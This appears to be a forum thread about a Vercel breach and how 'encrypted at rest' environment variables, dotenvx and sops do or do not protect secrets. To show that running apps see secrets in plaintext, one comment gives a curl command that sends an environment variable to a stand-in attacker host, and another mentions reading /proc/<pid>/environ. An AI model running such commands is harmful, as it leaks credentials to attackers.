They said "encrypted at rest", which they almost certainly are.
If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly.
Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker was able to view them, and presumably some other control on the backend made it so the sensitive ones can end up in your app, but can't be seen in whatever employee-only interface the attacker was viewing.
How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them.
What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?
Keepass has an option to "encrypt in memory" certain passwords, sensitive information.
The point of encryption is often times about what other software or hardware attacks are minimized or eliminated.
However, if someone figures out access to a running system, theres really no way to both allow an app to run and keep everything encrypted. It certainly is possible, like the way keepass encrypts items in memory, but if an attacker has root on a server, they just wait for it to be accessed if not outright find the key that encrypted it.
This is to say, 99.9% of the apps and these platforms arn't secure against this type of low level intrusion.
Even Keepass's "encrypt in memory" option leaves that encryption key in memory, so it can auto-type or copy passphrases into form fields. It's an extra step, but not unbreakable.
dotenvx is a way to encrypt your secrets at rest. It's kinda like sops but not as good. https://getsops.io/
Notice how their tutorial says "run 'dotenvx run -- yourapp'". If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext, at runtime, since they're just encrypted at rest.
The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend (the '.env.keys' file by default in dotenvx) used to show them in the frontend and decrypt them for running apps.
> If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext
Same for sops.
> The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend
The encrypted .env file is actually committed to source code, and the decryption key is placed in Vercel's environment variables dashboard. The attacker only gained access to the latter here if using dotenvx so they can't get your secrets. Unless they also gained access to the codebase in which they have terabytes of data to go through and match up private keys from the database with encrypted .env files from the source code exfiltration - much more effort for attackers.
There is no silver bullet, but Dotenvx splits your secrets into two separate locations.
1. The private decryption key - which lives on Vercel in this example
2. The encrypted .env file which lives in your source code pushed to Vercel
Attackers only got access to the first (as far as I know was reported). So your secrets would be safe in this attack if using Dotenvx. (A private key is useless without its corresponding encrypted .env file. Attackers need both.)
If a company says “encrypted at rest” that is generally compliance-speak for “not encrypted, but the hard drive partition is encrypted”.
Various certifications require this, I guess because they were written before hyper scalers and the assumed attack vector was that someone would literally steal a hard drive.
A running machine is not “at rest”, just like you can read files on your encrypted Mac HDD, the running program has decrypted access to the hard drive.
"encrypted at rest" is great to guard against stolen laptops, or in the server room both against people breaking in and stealing servers (unlikely at the security level of most hyperscalers, but possible) or more commonly broken HDDs being improperly disposed
How does that transalte to VMs? If "encryption at rest" is done at the guest level, instead of (or in addition to) host, that would be pretty close to minimal "encrypted except when it use" time and protect against virtual equivalents of pulling a hard drive out of a data center.
You can, theoretically, decompile the system memory dump and try to mine the credentials out of the credential server's heap, but that exploit is exponentially more difficult to do that a simple `cat /proc/1234/environ`.
They need to give your app the environment variables later so they cannot throw away the key.
For non-sensitive environment variables, they also show you the value in the dashboard so you can check and edit them later.
Things like 'NODE_ENV=production' vs 'NODE_ENV=development' is probably something the user wants to see, so that's another argument for letting the backend decrypt and display those values even ignoring the "running your app" part.
You're welcome to add an input that goes straight to '/dev/null' if you want, but it's not exactly a useful feature.
If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly.
Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker was able to view them, and presumably some other control on the backend made it so the sensitive ones can end up in your app, but can't be seen in whatever employee-only interface the attacker was viewing.